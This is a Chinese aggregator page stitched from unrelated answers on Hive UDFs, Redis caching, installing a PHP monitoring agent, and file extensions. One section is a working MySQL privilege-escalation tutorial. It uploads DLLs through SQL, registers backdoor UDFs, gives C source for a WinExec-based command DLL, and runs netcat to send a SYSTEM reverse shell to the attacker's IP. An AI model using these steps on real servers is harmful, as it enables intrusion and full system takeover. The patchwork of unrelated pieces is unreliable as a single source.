本文目錄一覽:
- 1、hive 調用python 寫的udf 報錯
- 2、redis怎麼實現數據庫的緩存
- 3、如何使用工具進行線上 PHP 性能追蹤及分析
- 4、請幫忙看看這幾條UDF命令是什麼意思
- 5、(五)Hive的UDF、UDAF和UDTF自定義函數
- 6、常用文件擴展名的說明
hive 調用python 寫的udf 報錯
你把print寫在try裏面當然會少數據。你應該try訪問fields數組並更新fields[2]的值。另一方面,從功能點上來說,使用SQL函數nvl或coalesce就能實現,沒必要寫個UDF來實現,你這樣做增加額外的IO消耗和工作量。如果一定要寫UDF,建議少用print,改用標準輸出實現:sys.stdout.write()。
redis怎麼實現數據庫的緩存
對於變化頻率非常快的數據來說,如果還選擇傳統的靜態緩存方式(Memocached、File System等)展示數據,可能在緩存的存取上會有很大的開銷,並不能很好的滿足需要,而Redis這樣基於內存的NoSQL數據庫,就非常適合擔任實時數據的容器。
但是往往又有數據可靠性的需求,採用MySQL作為數據存儲,不會因為內存問題而引起數據丟失,同時也可以利用關係數據庫的特性實現很多功能。
所以就會很自然的想到是否可以採用MySQL作為數據存儲引擎,Redis則作為Cache。而這種需求目前還沒有看到有特別成熟的解決方案或工具,因此採用Gearman+PHP+MySQL UDF的組合異步實現MySQL到Redis的數據複製。
MySQL到Redis數據複製方案
無論MySQL還是Redis,自身都帶有數據同步的機制,比較常用的MySQL的Master/Slave模式,就是由Slave端分析Master的binlog來實現的,這樣的數據複製其實還是一個異步過程,只不過當服務器都在同一內網時,異步的延遲幾乎可以忽略。
那麼理論上也可以用同樣方式,分析MySQL的binlog文件並將數據插入Redis。但是這需要對binlog文件以及MySQL有非常深入的理解,同時由於binlog存在Statement/Row/Mixedlevel多種形式,分析binlog實現同步的工作量是非常大的。
因此這裡選擇了一種開發成本更加低廉的方式,借用已經比較成熟的MySQL UDF,將MySQL數據首先放入Gearman中,然後通過一個自己編寫的PHP Gearman Worker,將數據同步到Redis。比分析binlog的方式增加了不少流程,但是實現成本更低,更容易操作。
如何使用工具進行線上 PHP 性能追蹤及分析
New Relic 和 OneAPM 是兩款類似的性能分析工具,通過簡單的安裝之後,就有現成的圖表和分析數據可用。前一段時間嘗試過線上使用 New Relic ,估計是因為牆的原因,造成了 php-fpm 進程阻塞,具體表現為 netstat 中php-fpm 開啟的端口始終不回收,牆內環境使用牆外服務器很難保證服務的穩定性,所以你可以試一下這款 OneAPM PHP性能分析產品。
PHP Agent 的安裝與簡易用法
註冊賬戶後, OneAPM 會提供一個 License Key,下載 PHP Agent 之後,執行安裝腳本:
1. 解壓 Agent 安裝包
tar -xzf OneAPM_php_Agent_latest.tar.gz
2.定位至「安裝包所在路徑」
cd oneapm-php5-linux-install-script
3. 執行安裝腳本
sudo ./oneapm-install install –license=BQ4NSVlMX399eAhNWUdfVE790d1
如果提示未找到 PHP 路徑或安裝失敗,執行下面這條一鍵安裝命令:
sudo ./oneapm-install install –php-path=/usr/local/php5/bin –php-ini-file=/usr/local/php5/etc/php.ini –license=BQ4NSVlMX399eAhNWUdfVE790d1
根據服務器 PHP 環境修改上面命令中 PHP 路徑、php.ini 路徑和授權碼,修改後執行這一鍵安裝命令。
等待安裝腳本執行。若出現以下信息,則安裝成功。
OneAPM is now installed on your system. Congratulations! Restart your web server or servers.
Any question join qq group:321095806 or contact
安裝完成之後,重啟 Apache 或 php-fpm。然後,稍等片刻,等待 OneAPM 接收 Agent 發送的數據。
請幫忙看看這幾條UDF命令是什麼意思
很早網上就有了用mysql弱口令得到webshell教程,但是這次我要說的不是得到webshell,而是直接得到系統權限,看清楚了,是「直接」得到!
首先,我簡單說一下mysql弱口令得到系統權限得過程:首先利用mysql腳本上傳udf dll文件,然後利用註冊UDF
DLL中自寫的Function函數,而執行任意命令。
思路很簡單,網上也有一些教程,但是他們要麼沒有給具體的代碼,要麼一句話代過,搞得象我似得小菜很難理解,終於在我付出了幾天得不斷測試得辛勤勞動後,有了點結果,我把詳細過程和相關代碼得交給大家,這樣大家就可以自己寫dll文件,自己生成不同文件得二進制碼啦!
下面,我們先說如何生成二進制文件得上傳腳本。看看這段mysql腳本代碼(網友Mix用的方法):
set @a =
concat(”,0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,字段為data,類型為longblob
insert into Mix values(“”);update Mix set data = @a;//@a插入表Mix
select
data from Mix into DUMPFILE ‘C:\\Winnt\\文件名’;//導出表中內容為文件
前兩句很熟悉把,這個就是我們以前注入的時候,繞過』的解決辦法,把代碼的16進制數聲明給一個變量,然後導入這個變量就行了。只不過這裡,因為16進制代碼是一個文件的內容,代碼太長了,所以就用了concat函數不斷把上次得代碼類加起來,這樣不斷累計到一個變量a中。後面幾句就很簡單了,我都有注釋。
後面三句好說,但是前面的那麼多16進制數據,手工的話,累人啊!不過你還記得以前有一個exe2bat.vbs腳本嗎?這次我們可以把這個腳本修改一下後,得到我們這裡需要得mysql腳本!對比exe2bat.vbs生成得文件和我們需要腳本的文件格式,我們可以輕鬆的得到我們所需的腳本。腳本內容如下:
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,”\”))
with
createobject(“adodb.stream”)
.type=1:.open:.loadfromfile
fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with
createobject(“scripting.filesystemobject”).opentextfile(fp”.txt”,2,true)
.write “set @a = concat(”,0x”
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt16 then .write “0”
.write hex(bt)
if i mod 128=0 then
.write “);” vbcrlf “set @a = concat(@a,0x”
next
end with
好了,現在只要你把所要上傳的文件拖到這個腳本圖標上面,就可以生成一個同名的txt文件了。這個txt文件,就是我們所需要的mysql腳本,當然我們還需要修改一下這個txt文件(畢竟他是我們偷工減料得來的!),把最後一行生成的多餘的那句「set
@a = concat(”,0x」刪除了,加上建表,插值得那三句代碼即可!
腳本生成了,如何上傳?先登陸mysql服務器:
C:\mysql –u root –h hostip –p
Mysqluse mysql;
//先進入mysql默認得數據庫,否則你下一步的表將不知道屬於哪個庫
Mysql\. E:\*.dll.txt;
//這兒就是你生成的mysql腳本
按照上面輸入命令,就可以看見屏幕文字飛快閃爍(當然網速要快啦),不一會你的文件舊上傳完畢了!
下面到達我們的重點,我們上傳什麼dll文件?就目前我再網上看到的有兩個已經寫好的dll文件,一個是Mix寫得mix.dll,一個是envymask寫得my_udf.dll,這兩個我都用過,都很不錯,但是都也有點不足。先來看看具體的使用過程吧!
先用mix.dll:
登陸mysql,輸入命令:
Mysql \. e:\mix.dll.txt;
Mysql
CREATE FUNCTION Mixconnect RETURNS STRING SONAME ‘C:\\windows\\mix.dll’;
//這兒的註冊的Mixconnect就是在我們dll文件中實現的函數,我們將要用他執行系統命令!
Mysql select
Mixconnect(‘你的ip’,’8080′); //填寫你的反彈ip和端口
過一會兒,你監聽8080端口的nc,就會得到一個系統權限的shell了!如圖1:
這個的確不錯,通過反彈得到得shell可以傳過一些防火牆,可惜的是,它的這個函數沒有寫得很好,只能執行一次,當你第二次連接數據庫後,再次運行「select
Mixconnect(‘你的ip’,’8080′);」的時候,對方的mysql會當掉!報錯,然後服務停止!
所以,使用mix.dll你只有一次成功,沒有再來一次的機會!另外根據我的測試,他對Win2003的系統好像不起作用。
再用my_udf.dll:
Mysql\. C:\my_udf.dll.txt
Mysql CREATE FUNCTION my_udfdoor
RETURNS STRING SONAME ‘C:\\winnt\\my_udf.dll’;
//同樣地,my_udfdoor也是我們註冊後,用來執行系統命令得函數
Mysql select my_udfdoor(‘』);
//這兒可以隨便寫my_udfdoor得參數,相當於我們只是要激活這個函數
好了,現在你可以不用關這個shell了,我們再開一個cmd,使用:
D:\nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到這個後,輸入「f**k」
,他是my_udfdoor默認密碼,自己無法更改
過一會兒,你就有了系統權限的shell了,
由於他是hook
recv版,所以穿牆的能力很強,我是在上一個mix.dll反彈失敗的情況下,才使用這個得,他果然不負所望!進系統後,發現它有雙網卡,天網防火牆個人版V2.73,對外僅僅開放3306端口,由此可見,my_udf.dll確實有很強的穿透防火牆得能力!但是他也有一個bug,就是再我們連接激活這個函數後(就是使用了命令「select
my_udfdoor(‘』);」後),不管你是否連接,只要執行了:
Mysqldrop function my_udfdoor;
後,mysql也彙報錯,然後掛掉,
所以,你使用這個dll文件無法刪除你的痕迹!
最後,然我們自己寫一個自定義的dll文件。看能不能解決問題。
我們僅僅使用mysql 得udf的示例作模版即可!看他的示例:
#include
#include
#include
extern “C” {
char *my_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null,
char *error);
// 兼容C
}
char
*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = “my name”;
return me;
// 調用此UDF將返回 my name
}
十分簡單吧?好,我們只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一個哥們Crackme是修改的:
#include
#include
#include “mysql.h”
extern “C” __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null, char *error);// sys_name就是函數名,你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char
*is_null, char *error) //當然這兒的sys_name也得改!
{
char me[256] = {0};
if
(args-arg_count == 1){
strncpy(me,args-args[0],args-lengths[0]);
me[args-lengths[0]]=’\0′;
WinExec(me,SW_HIDE); //就是用它來執行任意命令
}else
strcpy(me,”do nonthing.\n”);
return me;
}
好,我們編譯成sysudf.dll文件就可以了!我們來用他實驗一把!
看操作:
Mysql\.
C:\sysudf.dll.txt
MysqlCreate function sys_name returns string soname
‘C:\\windows\\sysudf.dll’;
Mysql\. Nc.exe.txt //把nc.exe也上傳上去
Mysqlselect sys_name(‘nc.exe -e cmd.exe 我的ip 8080’);
//sys_name參數只有一個,參數指定要執行的系統命令
好,看看在Win2003中的一個反彈shell了,
當然,我們你也可以不反彈shell了,而去執行其他命令,只不過不論是否執行成功,都沒有回顯,所以要保證命令格式正確。對於這個dll文件,經過測試,不論何時「drop
function
sys_name;」,都是不會報錯的,同時也可以多次運行不同命令。至於他的缺點,就是他的穿牆能力跟Mix.dll一樣不算太強,但對於實在穿不透的牆,直接運行其他命令就是最好的選擇了。
上面三個dll文件可謂各有所短,如何選擇,就看你遇到的實際情況了。
好了,從腳本得編寫使用到dll文件編寫使用,說了這麼多,現在大家應該都會了吧?題目說的是弱口令得到系統權限,但是如果你在注入等其他過程中,爆出了config.php中的mysql密碼,不也是可以使用的嗎?這樣我們豈不是也找到繼Serv-u後又一大提權方法了嗎?
(五)Hive的UDF、UDAF和UDTF自定義函數
order by(全局排序):不經常用
sort by+distrbutre by :經常用
set mapreduce.job.reduce=3;
select * from emp sort by empno desc;
select sal,deptno from emp distribute by sal sort by sal;
cluster by:只能是升序排序,相當於(sort by+distrbutre by )
select sal,deptno from emp cluster bY sal;
select concat_ws(‘_’,’sdfsdf’,’sdfs’,’123′);
select cast(‘000000000000123123123123’ as bigint);
select parse_url(‘ ;k2=v2#Ref1′,’HOST’ );
select get_json_object(‘{“name”:”jack”,”age”:”20″}’,’$.name’);
實現wordcount
create table t_movie(
name string,
type string
)
row format delimited fields terminated by ‘ ‘
lines terminated by ‘\n’
location ‘/data/inner/ODS/01/t_movie’;
load data inpath ‘/data/inner/RAW/01/t_movie/movie’ into table t_movie;
select * from t_movie;
select name,split(type,’,’) from t_movie;
select explode(split(type,’,’)) from t_movie;
select name,tcol from t_movie LATERAL VIEW explode(split(type,’,’)) typetable AS tcol;
create table t_wordcount(
wordline string
)
row format delimited fields terminated by ‘\n’
location ‘/data/inner/ODS/01/t_wordcount’;
load data inpath ‘/data/inner/RAW/01/t_wordcount/harry’ into table t_wordcount;
select word,count(word) from t_wordcount lateral view explode(split(wordline,’ ‘)) eswtable as word group by word;
select word,count(word) from (select explode(split(wordline,’ ‘)) word from t_wordcount) esw group by word;
1,繼承類
2,重寫方法(實現邏輯)
3,打包
4,上傳,創建函數
dependencies
dependency
groupIdorg.apache.hadoop/groupId
artifactIdhadoop-client/artifactId
version2.6.5/version
/dependency
dependency
groupIdorg.apache.hadoop/groupId
artifactIdhadoop-hdfs/artifactId
version2.6.5/version
/dependency
dependency
groupIdorg.apache.hive/groupId
artifactIdhive-exec/artifactId
version1.2.1/version
/dependency
/dependencies
UDF:
public class UDFHello extends UDF {
public static String evaluate(String value) {
………………
}
}
hadoop fs -mkdir -p /bdp/hive/bin/lib
hadoop fs -put ./demouf.jar /bdp/hive/bin/lib
create function sxt_hello as ‘com.vincent.UDFHello’ using jar ‘hdfs:////bdp/hive/bin/lib/demouf.jar’;
UDAF:
public static class SxtInnerClass implements UDAFEvaluator {
@Override
//獲取Hive的集群信息
public void init() {}
//輸入數據端,進行map操作
public boolean iterate(String value) {}
//數據輸出端,進行reduce輸出
public int terminatePartial() {}
public String terminate() {}
}
}
UDTF:
public class ExplodeMap extends GenericUDTF {
@Override
//數據結果:主要用來寫邏輯操作
public void process(Object[] args){}
@Override
//數據輸入端:主要用來檢測數據是否符合標準
public StructObjectInspector initialize(ObjectInspector[] args){}
@Override
//關閉
public void close() {}
}
常用文件擴展名的說明
擴展名 說明
A:對象代碼庫文件
AAM:Authorware shocked文件
AAS:Authorware shocked包
ABF:Adobe二進制屏幕字體
ABK:CorelDRAW自動備份文件
ABS:該類文件有時用於指示一個摘要(就像在一篇有關科學方面的文章的一個摘要或概要,取自abstract)
ACE:Ace壓縮文件格式
ACM:Windows系統目錄文件
ACP:Microsoft office助手預覽文件
ACT:Microsoft office助手文件
AD:After Dark屏幕保護程序
ADA:Ada源文件(非-GNAT)
ADB:Ada源文件主體(GNAT);HP100LX組織者的約定數據庫
ADF:Amiga磁盤文件
ADI:AutoCAD設備無關二進制繪圖儀格式
ADM:After Dark多模塊屏幕保護;Windows NT策略模板
ADP:FaxWork用於傳真調製解調器的交互安裝文件;Astound Dynamite文件
ADR:After Dark隨機屏幕保護;Smart Address的地址簿
ADS:Ada源文件說明書(GNAT)
AFM:Adobe的字體尺度
AF2/AF3:ABC的FlowChat文件
AI:Adobe Illustrator格式圖形
AIF/AIFF:音頻互交換文件,Silicon Graphic and Macintosh應用程序的聲音格式
AIFC:壓縮AIF
AIM:AOL即時信息傳送
AIS:ACDSee圖形序列文件;Velvet Studio設備文件
AKW:RoboHELP的幫助工程中所有A-關鍵詞
ALB:JASC Image Commander相冊
ALL:藝術與書信庫
AMS:Velvet Studio音樂模塊(MOD)文件;Extreme的Tracker模塊文件
ANC:Canon Computer的調色板文件,包含一系列可選的顏色板
ANI:Windows系統中的動畫光標
ANS:ANSI文本文件
ANT:SimAnt For Windows中保存的遊戲文件
API:Adobe Acrobat使用的應用程序設計接口文件
APS:Microsoft Visual C++文件
ARI:Aristotle聲音文件
ARJ:Robert Jung ARJ壓縮包文件
ART:Xara Studio繪畫文件;Canon Crayola美術文件;Clip Art文件格式;另一種光線跟蹤格式;AOL使用的用Johnson-Grace壓縮算法壓縮的標記文件
ASA:Microsoft Visual InterDev文件
ASC:ASCⅡ文本文件;PGP算法加密文件
ASD:Microsoft Word的自動保存文件;Microsoft高級流媒體格式(microsoft advanced streaming format,ASF)的描述文件;可用NSREX打開 Velvet Studio例子文件
ASE:Velvet Studio採樣文件
ASF:Microsoft高級流媒體格式文件
ASM:彙編語言源文件,Pro/E裝配文件
ASO:Astound Dynamite對象文件
ASP:動態網頁文件;ProComm Plus安裝與連接腳本文件;Astound介紹文件
ASV:DataCAD自動保存文件
ASX:Cheyenne備份腳本文件;Microsoft高級流媒體重定向器文件,視頻文件
ATW:來自個人軟件的Any Time Deluxe For Windows個人信息管理員文件
AU:Sun/NeXT/DEC/UNIX聲音文件;音頻U-Law(讀作「mu-law」)文件格式
AVB:Computer Associates Inoculan反病毒軟件的病毒感染後文件
AVI:Microsoft Audio Video Interleave電影格式
AVR:Audio Visual Research文件格式
AVS:應用程序可視化格式
AWD:FaxVien文檔
AWR:Telsis數字儲存音頻文件擴展名格式
Axx:ARJ壓縮文件的分包序號文件,用於將一個大文件壓至幾個小的壓縮包中(xx取01-99的數字)
A3M/A4M:Authorware Macintosh未打包文件
A4P:Authorware無運行時間的打包文件
A3W/A4W/A5W:未打包的Authorware Windows文件 擴展名 說明
BAK:備份文件
BAS:BASIC源文件
BAT:批處理文件
BDF:West Point Bridger Designer文件
BGL:Microsoft Flight Simulator(微軟飛行模擬器)的視景文件
BI:二進制文件
BIF:Group Wise的初始化文件
BIFF XLIFE 3D格式文件
BIN 二進制文件
BK/BK$ 有時用於代表備份版本
BKS IBM BookManager Read書架文件
BMK 書籤文件
BMP Windows或OS/2位圖文件
BOOK Adobe FrameMaker Book文件
BRX 用於查看多媒體對象目錄的文件
BSP Quake圖形文件
BTM Norton 應用程序使用的批處理文件
BUD Quicken的備份磁盤
BUN CakeWalk 聲音捆綁文件(一種MIDI程序)
BW SGI黑白圖像文件
BWV 商業波形文件 擴展名 說明
C C代碼文件
CAB Microsoft壓縮文件
CAD Softdek的Drafix CAD文件
CAL CALS壓縮位圖;日曆計劃表數據
CAP 壓縮音樂文件格式
CAS 逗號分開的ASCⅡ文件
CB Microsoft乾淨引導文件
CC Visual dBASE用戶自定義類文件
CCB Visual Basic動態按鈕配置文件
CCH Corel圖表文件
CCO CyberChat數據文件
CCT Macromedia Director Shockwave投影
CDA CD音頻軌道
CDF Microsoft頻道定義格式文件
CDI Philip的高密盤交互格式
CDM Visual dBASE自定義數據模塊文件
CDR CorelDRAW繪圖文件;原始音頻CD數據文件
CDT CorelDRAW模板
CDX CorelDRAW壓縮繪圖文件;Microsoft Visual FoxPro索引文件
CFG 配置文件
CGI 公共網關接口腳本文件
CGM 計算機圖形元文件
CHK 由Windows磁盤碎片整理器或磁盤掃描保存的文件碎片
CHM 編譯過的HTML文件
CHR 字符集(字體文件)
CIF Adaptec CD 創建器 CD映像文件
CIL Clip Gallery下載包
CLASS Java類文件
CLL Crick Software Clicker文件
CLP Windows 剪貼板文件
CLS Visual Basic類文件
CMF Corel元文件
CMV Corel Move動畫文件
CMX Corel Presentation Exchange圖像
CNF Telnet,Windows和其他其內格式會發生改變的應用程序使用的配置文件
CNM Windows應用程序菜單選項和安裝文件
CNT Windows(或其他)系統用於幫助索引或其他目的內容文件
COD Microsoft C編譯器產生的可顯示機器碼/彙編代碼文件,其中附有源C代碼作為注釋
COM 命令文件(程序)
CPL 控制面板擴展名,Corel顏色板
CPO Corel打印存儲文件
CPP C++代碼文件
CPR Corel提供說明書文件
CPT Corel 照片-繪畫圖像
CPX Corel Presentation Exchange壓縮圖形文件
CRD Windows Cardfile文件
CRP Corel 提供的運行時介紹文件;Visual dBASE自定義報表文件
CRT 認證文件
CSC Corel腳本文件
CSP PC Emcee On_Screen圖像
CST Macromedia Director Cast文件
CSV 逗號分隔的值文件
CTL 通常用於表示一個包含控件信息的文件;FaxWork用它來保持有關每個傳真收到或發出的信息
CUR Windows光標文件
CV Corel版本的檔案文件;Microsoft CodeView信息屏幕文件
CXX C++源代碼文件 擴展名 說明
DAT 數據文件;WrodPerfect合併數據文件;用於一些MPEG格式的文件
DB Borland的Paradox 7表
DBC Microsoft Visual FoxPro數據庫容器文件
DBF dBASE文件
DBX DataBearn圖像;Microsoft Visual FoxPro表格文件
DCM DCM模塊格式文件
DCS 桌面顏色分隔文件
DCT Microsoft Visual FoxPro數據庫容器
DCU Delphi編譯單元文件
DCX Microsoft Visual FoxPro數據庫容器;基於PCX的傳真圖像;宏
DEM 用於表示數字高度模型的USGS基準的文件
DER 認證文件
DEWF Macintosh Sound Cap/Sound Edit錄音設備格式
DIB 設備無關位圖
DIC 目錄
DIF 可進行數據互換的電子表格
DIG DigiLink格式;Sound DesignerⅠ音頻文件
DIR Macromedia Director文件
DIZ 描述文件
DLG C++對話框腳本文件
DLL 動態鏈接庫
DLS 可下載聲音文件
DMD Visual dBASE數據模塊文件
DMF X-Trakker音樂模塊(MOD)文件
DOC Word文檔
DOT Microsoft Word文檔模板
DRAW Acorn的基於對象的矢量圖像文件
DRV 驅動程序
DRW Micrografx Designer/Draw;Pro/E繪畫文件
DSF Micrografx Designer VFX文件
DSG DOOM保存的文件
DSM Dynamic Studio音樂模塊(MOD)文件
DSP Microsoft Developer Studio工程文件
DSQ Corel QUERY(查詢)文件
DSW Microsoft Developer Studio工作區文件
DTD SGML文檔類型定義(DTD)文件
DUN Microsoft拔號網絡導出文件
DV 數字視頻文件(MIME)
DXF 可進行互交換的繪圖文件格式,二進制的DWG格式的文本表示;數據交換文件
DXR Macromedia Director受保護(不可編輯)電影文件 擴展名 說明
EDA Ensoniq ASR磁盤映像
EDD 元素定義文檔(FrameMaker+SGML文檔)
EMD ABT擴展模塊
EMF Windows增強元文件
EML Microsoft Outlook Express郵件消息(MIME RTC822)文件
EPHTML Perl解釋增強HTML文件
EPS 壓縮的PostScript圖像
EXE 可執行文件(程序) 擴展名 說明
FAV Microsoft Outlook導航條
FAX 傳真類型圖像
FCD 虛擬CD-ROM
FDF A dobe Acrobat表單文檔文件
FFA/FFL/FFO/FFK Microsoft快速查找文件
FIF Fractal圖像文件
FLA Macromedia Flash電影
FLC Autodesk FLIC動畫文件
PLI Autodesk FLIC動畫
FM Adobe FrameMaker文檔
FML 文件鏡象列表(GetRight)
FNG 字體組文件(字體導航器,Font Navigator)
FNK Funk Tracker模塊格式
FON 系統字體
FOT 字體相關文件
FRT Microsoft FoxPro報表文件
FRX Visual Basic表單文本;Microsoft FoxPro報表文件
FTG 全文本搜索組文件,由Windows幫助系統查找時產生–可以刪除,並在需要時重建起來
FTS 全文本搜索引文件,由Windows幫助系統查找時產生 擴展名 說明
GAL Corel多媒體管理器相集
GDB InterBase數據庫文件
GDM 鈴聲、口哨聲和聲音板模塊格式
GEM GEM元文件
GEN Ventura產生的文本文件
GetRight GetRight未完成的下載文件
GFI/GFX Genigraphics圖形鏈接表示文件
GHO Norton 克隆磁盤映像
GIF CompuServe位圖文件
GIM/GIX Genigraphics圖形鏈接介紹文件
GKH Ensoniq EPS家簇磁盤映像文件
GKS Gravis Grip Key文檔
GL 動畫格式
GNA Genigraphics圖形鏈接介紹文件
GNT 生成代碼,Micro Focus屬性格式里的可執行代碼
GNX Genigraphics圖形鏈接介紹文件
GRA Microsoft Graph文件
GRF Grapher(Golden Software公司)圖形文件
GRP 程序管理組 擴展名 說明
HCOM 聲音工具HCOM格式
HGL HP圖形語言繪圖文件
HLP 幫助文件;Date CAD Windows幫助文件
HPJ Visual Basic幫助工程
HPP C++程序頭文件
HST 歷史文件
HT HyperTerminal(超級終端)
HTM/HTML 超文本文檔
HTT Microsoft超文本模板
HTX 擴展HTML模板 擴展名 說明
ICB Targa位圖文件
ICC Kodak打印機格式文件
ICL 圖標庫文件
ICM 圖形顏色匹配配置文件
ICO Windows圖標
IDD MIDI設備定義
IDF MIDI設備定義(Windows 95需要的文件)
IDQ Internet數據查詢文件
IDX Microsoft FoxPro相關數據庫索引文件;Symantec QA相關數據庫索引文件;Microsoft Outlook Express文件
IFF 交換格式文件;Amiga ILBM
IGES 初始圖形交換說明文件
IGF 插入系統元文件
ILBM 位圖圖形文件
IMA WinImage磁盤映像文件
INF 信息文件
INI 初始化文件
INRS INRS遠程通信聲頻
INS InstallShield安裝腳本
INT 中間代碼,當一個源程序經過語法檢查後編譯產生一個可執行代碼
IQY Microsoft Internet查詢文件
ISO 根據ISD 9660有關CD-ROM文件系統標準列出CD-ROM上的文件
IST 數字跟蹤設備文件
ISU InstallShield卸裝腳本
IWC Install Watch文檔 擴展名 說明
J62 Ricoh照相機格式
JAR Java檔案文件
JAVA Java源文件
JBF Paint Shop Pro圖像瀏覽文件
JFF/JFIF/JIF JPEG文件
JMP SAS的JMPDiscovery表格統計文件
JPE/JPEG/JPG JPEG圖形文件
JS Javascript源文件
JSP HTML網頁,其中包含有對一個Java servlet的參考
JTF JPEG位圖文件 擴展名 說明
K25 Kurzweil 2500抽樣文件
KAR 卡拉OK MIDI文件
KDC Kodak光增強器
KEY DataCAD圖標工具條文件
KFX KoFak Group 4圖像文件
KIZ Kodak數字明信片文件
KKW RoboHELP幫助工程索引設計器中與主題無關的K開頭的所有關鍵字
KMP Korg Trinity KeyMap文件
KQP Konica照相機本地文件 擴展名 說明
LAB Visual dBASE標籤文件
LBM Deluxe Paint位圖文件
LBT/LBX Microsoft FoxPro標籤文件
LDB Microsoft Access加鎖文件
LDL Corel Paradox分發庫
LEG Legacy文檔
LFT 3D Studio(DOS)放樣文件
LGO Paintbrush(Microsoft畫圖應用程序)的徽標文件
LHA LZH更換文件後綴
LIB 庫文件
LIN DataCAD線型文件
LIS 結構化查詢報告(SQR)程序產生的輸出文件
LLX Laplink交換代理
LNK Windows快捷方式文件
LOG 日誌文件
LST 列表文件
LU ThoughtWing庫單元文件
LYR DataCAD層文件
LZH LH ARC壓縮檔案
LZS Skyroads數據文件 擴展名 說明
M1V MPEG相關文件(
M3U MPEG URL(MIME聲音文件)
MAD Microsoft Access模塊文件
MAF Microsoft Access表單文件
MAM Microsoft Access宏
MAP 映射文件;Duke Nukem 3D WAD遊戲文件
MAQ Microsoft Access查詢文件
MAR Microsoft Access報表文件
MAT Microsoft Access表;3D Studio MAX材料庫
MB1 Apogee Monster Bash數據文件
MBX Microsoft Outlook保存email格式;Eudora郵箱
MCR DataCAD鍵盤宏文件
MDB Microsoft Access數據庫
MDE Microsoft Access MDE文件
MDL 數字跟蹤器音樂模塊(MOD)文件;Quake模塊文件
MDN Microsoft Access空數據庫模板
MDW Microsoft Access工作組文件
MDZ Microsoft Access嚮導模板文件
MIC Microsoft Image Composer文件
MID MIDI音樂
MIM, MIME,MME Internet郵件擴展格式的多用途文件,經常作為發送e-mail時在AOL里附件而創建的文件;在一個多區MIM文件里的文件能用WinZip或其他類似程序打開
MLI 3D Studio的材料庫格式文件
MNG 多映像網絡圖形
MNU Visual dBASE菜單文件;Intertel Systems Interact菜單文件
MOD Fast Tracker、Star Trekker、Noise Tracker(等等)音樂模塊文件;Microsoft多計劃電子表格;Amiga/PC磁道文件
MOV QuickTime for Windows電影
MP2 第二層MPEG音頻文件
MP3 第三層MPEG音頻文件
MPA MPEG相關文件,MIME「mpeg類型」
MPE/MPEG/MPG MPEG動畫文件
MPP Microsoft工程文件;CAD繪圖文件格式
MPR Microsoft FoxPro菜單(已編譯)
MSG Microsoft郵件消息
MSI Windows 安裝文件包
MSN Microsoft網絡文檔;Descent Mission文件
MSP Microsoft Paint(畫圖)位圖文件;Windows Installer路徑文件
MST Windows 安裝器傳輸文件
MTM Multi 跟蹤器音樂模塊(MOD)文件 擴展名 說明
NAN Nanoscope文件(Raw Grayscale)
NAP NAP元文件
NCB Microsoft Developer Studio文件
NCD Norton改變目錄
NCF NetWare命令文件;Lotus Notes內部剪切板
NFF 中性文件格式
NFT NetObject Fusion模板文件
NIL Norton光標庫文件(EasyIcons-兼容)
NIST NIST Sphere聲音
NLS 用於本地化的國家語言支持文件(例如,Uniscape)
NLU Norton Live Update e-mail 觸發器文件
NTX CA-Clipper索引文件
NWC Noteworthy Composer歌曲文件
NWS Microsoft Outlook Express新聞消息 擴展名 說明
OBJ 對象文件
OCX Microsoft對象鏈接與嵌入定製控件
ODS Microsoft Outlook Express郵箱文件
OFN Microsoft Office FileNew文件
OFT Microsoft Outlook模板
OLB OLE對象庫
OLE OLE對象
OOGL 面向對象圖形庫
OPO OPL輸出可執行文件 擴展名 說明
P65 PageMaker 6.5文件
PAB Microsoft個人地址簿
PART Go!Zilla部分下載文件
PAS Pascal源代碼
PBD PowerBuilder動態庫,作為本地DLL的一個替代物
PBL 用於在PowerBuilder開發環境中的PowerBuilder動態庫
PBM 可導出位圖
PBR PowerBuilder資源
PCD Kodak Photo-CD映像;P-Code編譯器測試腳本,由Microsoft測試與Microsoft Visual測試
PCL Hewlett-Packard 打印機控制語言文件(打印機備用位圖)
PCM 聲音文件格式;OKI MSM6376 合成芯片 PCM格式
PDD 可以用Paint Shop Pro或其他圖像處理軟件打開的圖形圖像
PDF Adobe Acrobat 可導出文檔格式文件(可用Web瀏覽器顯示);Microsoft系統管理服務器包定義文件;NetWare打印機定義文件
PFM 打印機字體尺度
PGL HP繪圖儀繪圖文件
PGM 可輸出灰度圖(位圖)
PH 由Microsoft幫助文件編譯器產生的臨時文件
PHP/PHP3 包含有PHP腳本的HTML網頁
PHTML 包含有PHP腳本的HTML網頁;由Perl分析解釋的HTML
PIC PC畫圖位圖;Lotus圖片;Macintosh PICT繪圖
PJX/PJT Microsoft Visual FoxPro工程文件
PKG Microsoft Developer Studio應用程序擴展(與DLL文件類似)
PNG 可移植的網絡圖形位圖;Paint Shop Pro瀏覽器目錄
POT Microsoft Powerpoint模塊
PPA Microsoft Powerpoint內插器
PPF Turtle Beach的Pinnacle程序文件
PPM 可移植的象素映射位圖
PPS Microsoft Powerpoint幻燈片放映
PPT Microsoft Powerpoint演示文稿
PRF Windows系統文件,Macromedia導演設置文件
PRG dBASE Clipper和FoxPro程序源文件;WAVmaker程序
PRJ 3D Studio(DOS)工程文件
PRN 打印表格(用空格分隔的文本);DataCAD Windows打印機文件
PRT 打印格式化文件;Pro/ENGINEER元件文件
PSD Adobe photoshop位圖文件
PSP Paint Shop Pro圖像文件
PST Microsoft Outlook個人文件夾文件
PWZ Microsoft Powerpoint嚮導 擴展名 說明
QIC Microsoft備份文件
QIF QuickTime相關圖像(MIME);Quicken導入文件
QLB Quick庫
QRY Microsoft查詢文件
QTP QuickTime優先文件
QTX QuickTime相關圖像
QW Symantec QA Write程序文件 擴展名 說明
RA RealAudio聲音文件
RAM RealAudio元文件
RAR RAR壓縮檔案(Eugene Roshall格式)
RDF 資源描述框架文件(涉及XML和元數據)
REG 註冊表文件
REP Visual dBASE報表文件
